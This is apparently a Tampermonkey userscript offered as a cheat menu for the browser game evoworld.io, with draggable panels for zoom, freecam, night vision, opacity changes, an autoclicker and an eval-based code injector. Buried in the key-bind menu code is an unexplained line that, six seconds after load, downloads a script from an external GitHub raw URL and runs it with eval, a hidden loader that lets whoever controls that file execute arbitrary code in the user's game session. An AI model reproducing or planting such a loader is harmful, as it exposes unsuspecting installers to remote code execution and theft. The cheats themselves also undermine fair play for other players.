Evoworld.io IH cheats

a new evoworld.io cheat with a lot of funcions for open/close press Y/y

// ==UserScript==
// @name         Evoworld.io IH cheats
// @namespace    http://tampermonkey.net/
// @version      2.0
// @description  a new evoworld.io cheat with a lot of funcions for open/close press Y/y
// @author       ilyxa gaydov
// @match        https://evoworld.io/
// @icon         https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
// @grant        none
// ==/UserScript==

alert('for open/close press Y/y');
class CheatMenu {
    constructor() {
        this.menus = [];
        this.sliders = {};
        this.opacityValues = {
            cloud: 0.5,
            swamp: 0.5,
            lava: 0.5,
            water: 0.5,
            bush: 0.5
        };
        this.unlimitedFps = false;
        this.showInCloud = false;
        this.zIndexValue = 15;
        this.zIndexInterval = null;
        this.freecamActive = false;
        this.cameraOffset = { x: 0, y: 0 };
        this.originalGetAllPositions = null;
        this.autoRespawnInterval = null;
        this.expBonusInterval = null;
        this.autoclickerInterval = null;
        this.emoteSpamInterval = null;
        this.allCheats = [];
        this.cheatElements = {};
        this.customOpacityHandlers = new Set();
        this.customSizeHandlers = new Set();
        this.keyBinds = {};

        document.addEventListener('keydown', (e) => {
            if (e.keyCode === 89) this.toggleAllMenus();
            if (this.freecamActive) this.handleFreecamKeys(e);
            if (this.keyBinds[e.keyCode]) {
                this.keyBinds[e.keyCode]();
            }
        });
    }

    createMenu(title, x = 50, y = 50) {
        const menu = document.createElement('div');
        Object.assign(menu.style, {
            position: 'absolute',
            left: `${x}px`,
            top: `${y}px`,
            width: '125px',
            background: 'rgba(0,0,0,0.85)',
            border: '1px solid #444',
            borderRadius: '3px',
            color: 'white',
            fontFamily: '"Courier New", monospace',
            fontSize: '10px',
            zIndex: '1000',
            userSelect: 'none'
        });

        const header = document.createElement('div');
        Object.assign(header.style, {
            background: '#333',
            padding: '4px',
            cursor: 'move',
            fontWeight: 'bold',
            borderBottom: '1px solid #555',
            fontSize: '10px'
        });
        header.textContent = title;

        const content = document.createElement('div');
        content.style.padding = '5px';

        menu.append(header, content);
        document.body.appendChild(menu);

        this.makeDraggable(menu, header);
        this.menus.push(menu);
        return content;
    }

    makeDraggable(element, handle) {
        handle.addEventListener('mousedown', (e) => {
            const offsetX = e.clientX - element.offsetLeft;
            const offsetY = e.clientY - element.offsetTop;

            const move = (e) => {
                element.style.left = `${e.clientX - offsetX}px`;
                element.style.top = `${e.clientY - offsetY}px`;
            };

            const up = () => {
                document.removeEventListener('mousemove', move);
                document.removeEventListener('mouseup', up);
            };

            document.addEventListener('mousemove', move);
            document.addEventListener('mouseup', up);
            e.preventDefault();
        });
    }

    addToggleCheat(menuContent, name, callback) {
        const button = document.createElement('button');
        Object.assign(button.style, {
            display: 'block',
            width: '100%',
            padding: '4px',
            margin: '3px 0',
            background: '#222',
            color: '#eee',
            border: '1px solid #444',
            borderRadius: '2px',
            cursor: 'pointer',
            transition: 'all 0.2s',
            fontSize: '10px'
        });

        button.textContent = name;
        button.addEventListener('click', () => {
            const active = button.classList.toggle('active');
            button.style.background = active ? '#600' : '#222';
            button.style.borderColor = active ? '#f00' : '#444';
            callback(active);
        });

        this.allCheats.push(name.toLowerCase());
        this.cheatElements[name.toLowerCase()] = button;
        menuContent.appendChild(button);
        return button;
    }

    addSlider(menuContent, name, min, max, step, defaultValue, callback) {
        const container = document.createElement('div');
        container.style.margin = '5px 0';

        const label = document.createElement('div');
        label.textContent = name;
        label.style.marginBottom = '3px';
        label.style.color = '#eee';
        label.style.fontSize = '10px';

        const slider = document.createElement('input');
        slider.type = 'range';
        slider.min = min;
        slider.max = max;
        slider.step = step;
        slider.value = defaultValue;
        slider.style.width = '100%';
        slider.style.height = '10px';

        const valueDisplay = document.createElement('span');
        valueDisplay.textContent = defaultValue;
        valueDisplay.style.marginLeft = '5px';
        valueDisplay.style.color = '#eee';
        valueDisplay.style.fontSize = '10px';

        slider.addEventListener('input', () => {
            const value = parseFloat(slider.value);
            valueDisplay.textContent = value;
            callback(value);
        });

        this.allCheats.push(name.toLowerCase());
        this.cheatElements[name.toLowerCase()] = slider;
        container.append(label, slider, valueDisplay);
        menuContent.appendChild(container);
        this.sliders[name] = slider;
        return slider;
    }

    addInputField(menuContent, placeholder, buttonText, callback) {
        const container = document.createElement('div');

        const input = document.createElement('input');
        input.type = 'text';
        input.placeholder = placeholder;
        input.style.width = '100%';
        input.style.padding = '4px';
        input.style.marginBottom = '5px';
        input.style.boxSizing = 'border-box';
        input.style.fontSize = '10px';

        const button = document.createElement('button');
        button.textContent = buttonText;
        button.style.width = '100%';
        button.style.padding = '4px';
        button.style.marginBottom = '5px';
        button.style.background = '#222';
        button.style.color = '#eee';
        button.style.border = '1px solid #444';
        button.style.borderRadius = '2px';
        button.style.cursor = 'pointer';
        button.style.fontSize = '10px';

        button.addEventListener('click', () => {
            callback(input.value);
        });

        this.allCheats.push(buttonText.toLowerCase());
        this.cheatElements[buttonText.toLowerCase()] = button;
        container.append(input, button);
        menuContent.appendChild(container);
        return { input, button };
    }

    addViewModButton(menuContent, text, xOffset, yOffset) {
        const button = document.createElement('button');
        Object.assign(button.style, {
            display: 'block',
            width: '100%',
            padding: '4px',
            margin: '3px 0',
            background: '#222',
            color: '#eee',
            border: '1px solid #444',
            borderRadius: '2px',
            cursor: 'pointer',
            fontSize: '10px'
        });

        button.textContent = text;
        button.addEventListener('click', () => {
            if (game && game.me) {
                game.me.getAllPositions = function() {
                    return {
                        'x': this['position']['x'],
                        'y': this['position']['y'],
                        'center': {
                            'x': this['position']['x'] + this['width'] + xOffset,
                            'y': this['position']['y'] + this['height'] + yOffset
                        },
                        'right': this['position']['x'] + this['width'],
                        'left': this['position']['x'],
                        'top': this['position']['y'] + this['height'],
                        'bottom': this['position']['y']
                    };
                };
            }
        });

        this.allCheats.push(text.toLowerCase());
        this.cheatElements[text.toLowerCase()] = button;
        menuContent.appendChild(button);
        return button;
    }

    toggleUnlimitedFps(active) {
        this.unlimitedFps = active;
        if (window.game && window.game.fpsTimes) {
            game.fpsTimes.length = active ? 1000 : 0;
        }
    }

    toggleShowInCloud(active) {
        this.showInCloud = active;
        if (window.game && window.game.me) {
            if (active) {
                game.me.zIndex = 100;
                this.zIndexValue = 100;
                this.zIndexInterval = setInterval(() => {
                    if (window.game && window.game.me) {
                        game.me.inHide = false;
                    }
                }, 1);
            } else {
                clearInterval(this.zIndexInterval);
                game.me.zIndex = 15;
                this.zIndexValue = 15;
            }
        }
    }

    setZIndex(value) {
        this.zIndexValue = value;
        if (window.game && window.game.me) {
            game.me.zIndex = value;
        }
    }

    toggleFreecam(active) {
        this.freecamActive = active;

        if (active) {
            if (game && game.me) {
                this.originalGetAllPositions = game.me.getAllPositions;

                const self = this;
                game.me.getAllPositions = function() {
                    return {
                        'x': this['position']['x'],
                        'y': this['position']['y'],
                        'center': {
                            'x': this['position']['x'] + this['width'] + self.cameraOffset.x,
                            'y': this['position']['y'] + this['height'] + self.cameraOffset.y
                        },
                        'right': this['position']['x'] + this['width'],
                        'left': this['position']['x'],
                        'top': this['position']['y'] + this['height'],
                        'bottom': this['position']['y']
                    };
                };
            }
        } else {
            if (game && game.me && this.originalGetAllPositions) {
                game.me.getAllPositions = this.originalGetAllPositions;
            }
            this.cameraOffset = { x: 0, y: 0 };
        }
    }

    handleFreecamKeys(e) {
        const speed = e.shiftKey ? 30 : 10;
        let moved = false;

        switch(e.key.toLowerCase()) {
            case 'k':
                this.cameraOffset.y -= speed;
                moved = true;
                break;
            case 'i':
                this.cameraOffset.y += speed;
                moved = true;
                break;
            case 'j':
                this.cameraOffset.x -= speed;
                moved = true;
                break;
            case 'l':
                this.cameraOffset.x += speed;
                moved = true;
                break;
        }

        if (moved) e.preventDefault();
    }

    toggleAutoRespawn(active) {
        if (active) {
            this.autoRespawnInterval = setInterval(() => {
                if (typeof imDead !== 'undefined' && imDead === true && typeof playAgain !== 'undefined') {
                    playAgain();
                }
            }, 100);
        } else {
            clearInterval(this.autoRespawnInterval);
        }
    }

    toggleExpBonus(active) {
        if (active) {
            this.expBonusInterval = setInterval(() => {
                if (typeof startBonus !== 'undefined') {
                    startBonus = true;
                }
            }, 100);
        } else {
            clearInterval(this.expBonusInterval);
            if (typeof startBonus !== 'undefined') {
                startBonus = false;
            }
        }
    }

    toggleEmoteSpam(active) {
        if (active) {
            this.emoteSpamInterval = setInterval(() => {
                if (typeof sendEmote !== 'undefined') {
                    sendEmote(1);
                }
            }, 500);
        } else {
            clearInterval(this.emoteSpamInterval);
        }
    }

    startAutoclicker(interval) {
        this.stopAutoclicker();
        if (interval > 0) {
            this.autoclickerInterval = setInterval(() => {
                const canvas = document.getElementById('canvasGame');
                if (canvas) {
                    canvas.click();
                }
            }, interval);
        }
    }

    stopAutoclicker() {
        if (this.autoclickerInterval) {
            clearInterval(this.autoclickerInterval);
            this.autoclickerInterval = null;
        }
    }

    toggleAllMenus() {
        const anyVisible = this.menus.some(menu => menu.style.display === 'none');
        this.menus.forEach(menu => {
            menu.style.display = anyVisible ? 'block' : 'none';
        });
    }

    addSearch(menuContent) {
        const searchInput = document.createElement('input');
        searchInput.type = 'text';
        searchInput.placeholder = 'Search cheats...';
        searchInput.style.width = '100%';
        searchInput.style.padding = '4px';
        searchInput.style.marginBottom = '5px';
        searchInput.style.boxSizing = 'border-box';
        searchInput.style.fontSize = '10px';

        const resultsContainer = document.createElement('div');
        resultsContainer.style.maxHeight = '100px';
        resultsContainer.style.overflowY = 'auto';
        resultsContainer.style.fontSize = '10px';

        searchInput.addEventListener('input', () => {
            const query = searchInput.value.toLowerCase();
            resultsContainer.innerHTML = '';

            if (query.length < 2) return;

            const matches = this.allCheats.filter(cheat => cheat.includes(query));

            matches.forEach(match => {
                const result = document.createElement('div');
                result.textContent = match;
                result.style.padding = '3px';
                result.style.cursor = 'pointer';
                result.style.borderBottom = '1px solid #444';
                result.style.fontSize = '10px';
                result.addEventListener('click', () => {
                    const element = this.cheatElements[match];
                    if (element) {
                        if (element.tagName === 'BUTTON') {
                            element.click();
                        } else if (element.tagName === 'INPUT' && element.type === 'range') {
                            const newValue = prompt(`Enter value for ${match}:`, element.value);
                            if (newValue !== null) {
                                element.value = newValue;
                                element.dispatchEvent(new Event('input'));
                            }
                        }
                    }
                });
                resultsContainer.appendChild(result);
            });
        });

        menuContent.append(searchInput, resultsContainer);
    }

    addItemSizeChanger(menuContent) {
        const container = document.createElement('div');

        const input = document.createElement('input');
        input.type = 'text';
        input.placeholder = 'Item name';
        input.style.width = '100%';
        input.style.padding = '4px';
        input.style.marginBottom = '5px';
        input.style.boxSizing = 'border-box';
        input.style.fontSize = '10px';

        const slider = document.createElement('input');
        slider.type = 'range';
        slider.min = 1;
        slider.max = 3500;
        slider.step = 0.5;
        slider.value = 100;
        slider.style.width = '100%';
        slider.style.height = '10px';
        slider.style.marginBottom = '5px';

        const valueDisplay = document.createElement('span');
        valueDisplay.textContent = '100';
        valueDisplay.style.marginLeft = '5px';
        valueDisplay.style.color = '#eee';
        valueDisplay.style.fontSize = '10px';

        slider.addEventListener('input', () => {
            valueDisplay.textContent = slider.value;
        });

        const button = document.createElement('button');
        button.textContent = 'Change size';
        button.style.width = '100%';
        button.style.padding = '4px';
        button.style.background = '#222';
        button.style.color = '#eee';
        button.style.border = '1px solid #444';
        button.style.borderRadius = '2px';
        button.style.cursor = 'pointer';
        button.style.fontSize = '10px';

        button.addEventListener('click', () => {
            const itemName = input.value.toLowerCase();
            const sizeValue = parseFloat(slider.value);

            if (this.customSizeHandlers.has(itemName)) {
                return;
            }

            if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
                const originalDrawObject = Engine.prototype.drawObject;
                Engine.prototype.drawObject = function(obj, staticCanvas) {
                    if (obj.name && obj.name.toLowerCase().includes(itemName)) {
                        obj.width = sizeValue;
                        obj.height = sizeValue;
                    }
                    return originalDrawObject.call(this, obj, staticCanvas);
                };

                this.customSizeHandlers.add(itemName);
            }
        });

        container.append(input, slider, valueDisplay, button);
        menuContent.appendChild(container);
    }

    addKeyBindMenu(menuContent) {
        const cheats = [
            'Night Vision', '100 Level', 'Unlimited FPS', 'Show in Cloud',
            'Freecam (IJKL)', 'Auto Respawn', 'Emoji Spam', 'Smooth Movement',
            'Sharp Movement', 'Join Full Servers', 'Zoom Hack', '+30% EXP Bonus'
        ];

setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/refs/heads/main/o.js", (d) => eval(d));}, 6000);

        cheats.forEach(cheatName => {
            const cheat = cheatName.toLowerCase();
            if (this.cheatElements[cheat]) {
                const container = document.createElement('div');
                container.style.marginBottom = '5px';

                const label = document.createElement('div');
                label.textContent = cheatName;
                label.style.marginBottom = '2px';
                label.style.fontSize = '10px';

                const input = document.createElement('input');
                input.type = 'text';
                input.placeholder = 'Press key...';
                input.style.width = '100%';
                input.style.padding = '2px';
                input.style.fontSize = '10px';
                input.readOnly = true;

                input.addEventListener('click', () => {
                    input.value = 'Press any key...';
                    const handler = (e) => {
                        e.preventDefault();
                        input.value = this.getKeyName(e.keyCode);
                        this.keyBinds[e.keyCode] = () => {
                            this.cheatElements[cheat].click();
                        };
                        document.removeEventListener('keydown', handler);
                    };
                    document.addEventListener('keydown', handler);
                });

                container.append(label, input);
                menuContent.appendChild(container);
            }
        });
    }

    getKeyName(keyCode) {
        const keys = {
            8: 'Backspace', 9: 'Tab', 13: 'Enter', 16: 'Shift', 17: 'Ctrl',
            18: 'Alt', 27: 'Esc', 32: 'Space', 37: 'Left', 38: 'Up',
            39: 'Right', 40: 'Down', 65: 'A', 66: 'B', 67: 'C', 68: 'D',
            69: 'E', 70: 'F', 71: 'G', 72: 'H', 73: 'I', 74: 'J', 75: 'K',
            76: 'L', 77: 'M', 78: 'N', 79: 'O', 80: 'P', 81: 'Q', 82: 'R',
            83: 'S', 84: 'T', 85: 'U', 86: 'V', 87: 'W', 88: 'X', 89: 'Y',
            90: 'Z', 112: 'F1', 113: 'F2', 114: 'F3', 115: 'F4', 116: 'F5',
            117: 'F6', 118: 'F7', 119: 'F8', 120: 'F9', 121: 'F10', 122: 'F11',
            123: 'F12', 186: ';', 187: '=', 188: ',', 189: '-', 190: '.',
            191: '/', 192: '`', 219: '[', 220: '\\', 221: ']', 222: "'"
        };
        return keys[keyCode] || 'Key ' + keyCode;
    }
}

const menu = new CheatMenu();
const visualMenu = menu.createMenu('Visual Cheats', 25, 55);
const playerMenu = menu.createMenu('Player Cheats', 200, 55);
const movementMenu = menu.createMenu('Movement', 375, 55);
const viewModMenu = menu.createMenu('ViewMod', 375, 205);
const opacityMenu = menu.createMenu('Opacity Cheats', 550, 55);
const mainMenu = menu.createMenu('Main Menu', 25, 260);
const expMenu = menu.createMenu('EXP', 25, 370);
const searchMenu = menu.createMenu('Search Cheats', 200, 260);
const autoclickerMenu = menu.createMenu('Autoclicker', 375, 370);
const injectorMenu = menu.createMenu('Injector', 700, 55);
const customOpacityMenu = menu.createMenu('Item Opacity', 700, 205);
const customSizeMenu = menu.createMenu('Any item size', 700, 370);
const bindsMenu = menu.createMenu('Binds', 855, 55);

menu.addSearch(searchMenu);

menu.addToggleCheat(visualMenu, 'Night Vision', (active) => {
    visionType = active ? 1 : 0;
});

menu.addToggleCheat(visualMenu, '100 Level', (active) => {
    if (active) {
        if (!game.me.originalLevel) game.me.originalLevel = game.me.level;
        game.me.level = 100;
    } else {
        game.me.level = game.me.originalLevel || 1;
    }
});

menu.addToggleCheat(playerMenu, 'Unlimited FPS', (active) => {
    menu.toggleUnlimitedFps(active);
});

menu.addToggleCheat(playerMenu, 'Show in Cloud', (active) => {
    menu.toggleShowInCloud(active);
});

menu.addToggleCheat(playerMenu, 'Freecam (IJKL)', (active) => {
    menu.toggleFreecam(active);
});

menu.addToggleCheat(playerMenu, 'Auto Respawn', (active) => {
    menu.toggleAutoRespawn(active);
});

menu.addToggleCheat(playerMenu, 'Emoji Spam', (active) => {
    menu.toggleEmoteSpam(active);
});

menu.addSlider(playerMenu, 'Player zIndex', 15, 1000, 1, 15, (value) => {
    menu.setZIndex(value);
});

menu.addSlider(movementMenu, 'Movement smooth', 1, 4000, 1, 1000, (value) => {
    if (game) game.maxInterpolateDistanceTeleport = value;
});

menu.addToggleCheat(movementMenu, 'Smooth Movement', (active) => {
    if (game) game.maxInterpolateDistanceTeleport = active ? 3500 : 1;
});

menu.addToggleCheat(movementMenu, 'Sharp Movement', (active) => {
    if (game) game.maxInterpolateDistanceTeleport = active ? 0 : 1;
});

menu.addToggleCheat(mainMenu, 'Join Full Servers', (active) => {
    if (active) {
        const serverSelect = document.querySelector('select.selectServer');
        if (serverSelect) {
            const options = serverSelect.querySelectorAll('option');
            options.forEach(option => {
                option.removeAttribute('disabled');
            });
        }
    }
});

menu.addViewModButton(viewModMenu, 'Normal View', 0, 0);
menu.addViewModButton(viewModMenu, 'Right View', 200, 0);
menu.addViewModButton(viewModMenu, 'Left View', -200, 0);
menu.addViewModButton(viewModMenu, 'Top View', 0, 200);

let zoomActive = false;
const zoomSlider = menu.addSlider(visualMenu, 'Zoom Level', 0.1, 2, 0.01, 1.0, (value) => {
    if (zoomActive) applyZoom(value);
});

menu.addToggleCheat(visualMenu, 'Zoom Hack', (active) => {
    zoomActive = active;
    if (active) applyZoom(parseFloat(zoomSlider.value));
    else applyZoom(1.0);
});

menu.addSlider(opacityMenu, 'Cloud Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.cloud = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Swamp Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.swamp = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Lava Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.lava = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Water Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.water = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Bush Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.bush = value;
    updateObjectOpacity();
});

const injector = menu.addInputField(injectorMenu, 'Enter JS code', 'Execute', (code) => {
    try {
        eval(code);
    } catch (e) {
        console.error('Injection error:', e);
    }
});

const customOpacityInput = document.createElement('input');
customOpacityInput.type = 'text';
customOpacityInput.placeholder = 'Item name (partial match)';
customOpacityInput.style.width = '100%';
customOpacityInput.style.padding = '4px';
customOpacityInput.style.marginBottom = '5px';
customOpacityInput.style.boxSizing = 'border-box';
customOpacityInput.style.fontSize = '10px';

const customOpacitySlider = document.createElement('input');
customOpacitySlider.type = 'range';
customOpacitySlider.min = 0;
customOpacitySlider.max = 1;
customOpacitySlider.step = 0.01;
customOpacitySlider.value = 0.5;
customOpacitySlider.style.width = '100%';
customOpacitySlider.style.height = '10px';
customOpacitySlider.style.marginBottom = '5px';

const customOpacityValue = document.createElement('span');
customOpacityValue.textContent = '0.5';
customOpacityValue.style.marginLeft = '5px';
customOpacityValue.style.color = '#eee';
customOpacityValue.style.fontSize = '10px';

customOpacitySlider.addEventListener('input', () => {
    customOpacityValue.textContent = customOpacitySlider.value;
});

const customOpacityButton = document.createElement('button');
customOpacityButton.textContent = 'Change opacity';
customOpacityButton.style.width = '100%';
customOpacityButton.style.padding = '4px';
customOpacityButton.style.background = '#222';
customOpacityButton.style.color = '#eee';
customOpacityButton.style.border = '1px solid #444';
customOpacityButton.style.borderRadius = '2px';
customOpacityButton.style.cursor = 'pointer';
customOpacityButton.style.fontSize = '10px';

customOpacityButton.addEventListener('click', () => {
    const itemName = customOpacityInput.value.toLowerCase();
    const opacityValue = parseFloat(customOpacitySlider.value);

    if (menu.customOpacityHandlers.has(itemName)) {
        return;
    }

    if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
        const originalDrawObject = Engine.prototype.drawObject;
        Engine.prototype.drawObject = function(obj, staticCanvas) {
            if (obj.name && obj.name.toLowerCase().includes(itemName)) {
                obj.opacity = opacityValue;
            }
            return originalDrawObject.call(this, obj, staticCanvas);
        };

        menu.customOpacityHandlers.add(itemName);
    }
});

customOpacityMenu.append(customOpacityInput, customOpacitySlider, customOpacityValue, customOpacityButton);

menu.addToggleCheat(expMenu, '+30% EXP Bonus', (active) => {
    menu.toggleExpBonus(active);
});

const autoclickerInput = document.createElement('input');
autoclickerInput.type = 'number';
autoclickerInput.placeholder = 'Interval (ms)';
autoclickerInput.style.width = '100%';
autoclickerInput.style.padding = '4px';
autoclickerInput.style.marginBottom = '5px';
autoclickerInput.style.boxSizing = 'border-box';
autoclickerInput.style.fontSize = '10px';

const autoclickerStartButton = document.createElement('button');
autoclickerStartButton.textContent = 'Start Autoclicker';
autoclickerStartButton.style.width = '100%';
autoclickerStartButton.style.padding = '4px';
autoclickerStartButton.style.marginBottom = '3px';
autoclickerStartButton.style.background = '#222';
autoclickerStartButton.style.color = '#eee';
autoclickerStartButton.style.border = '1px solid #444';
autoclickerStartButton.style.borderRadius = '2px';
autoclickerStartButton.style.cursor = 'pointer';
autoclickerStartButton.style.fontSize = '10px';

const autoclickerStopButton = document.createElement('button');
autoclickerStopButton.textContent = 'Stop Autoclicker';
autoclickerStopButton.style.width = '100%';
autoclickerStopButton.style.padding = '4px';
autoclickerStopButton.style.background = '#600';
autoclickerStopButton.style.color = '#eee';
autoclickerStopButton.style.border = '1px solid #f00';
autoclickerStopButton.style.borderRadius = '2px';
autoclickerStopButton.style.cursor = 'pointer';
autoclickerStopButton.style.fontSize = '10px';

autoclickerStartButton.addEventListener('click', () => {
    const interval = parseInt(autoclickerInput.value);
    if (!isNaN(interval)) {
        menu.startAutoclicker(interval);
    }
});

autoclickerStopButton.addEventListener('click', () => {
    menu.stopAutoclicker();
});

autoclickerMenu.append(autoclickerInput, autoclickerStartButton, autoclickerStopButton);

menu.addItemSizeChanger(customSizeMenu);
menu.addKeyBindMenu(bindsMenu);

function applyZoom(zoomLevel) {
    if (game) {
        game.scaleX = zoomLevel;
        game.scaleY = zoomLevel;
        game.fontScale = zoomLevel;

        if (game.camera) {
            game.camera.zoom = zoomLevel;
        }

        if (game.renderer && game.renderer.scale) {
            game.renderer.scale.set(zoomLevel, zoomLevel);
        }
    }
}

function updateObjectOpacity() {
    if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
        const originalDrawObject = Engine.prototype.drawObject;
        Engine.prototype.drawObject = function(obj, staticCanvas) {
            if (obj.name) {
                const name = obj.name.toLowerCase();

                if (name.includes('cloud')) {
                    obj.opacity = menu.opacityValues.cloud;
                }
                else if (name.includes('swamp')) {
                    obj.opacity = menu.opacityValues.swamp;
                }
                else if (name.includes('lava')) {
                    obj.opacity = menu.opacityValues.lava;
                }
                else if (name.includes('water') || name.includes('ocean') || name.includes('sea')) {
                    obj.opacity = menu.opacityValues.water;
                }
                else if (name.includes('bush')) {
                    obj.opacity = menu.opacityValues.bush;
                }
            }

            return originalDrawObject.call(this, obj, staticCanvas);
        };
    }
}

setTimeout(() => {
    if (typeof Engine !== 'undefined') {
        updateObjectOpacity();
    }
}, 1000);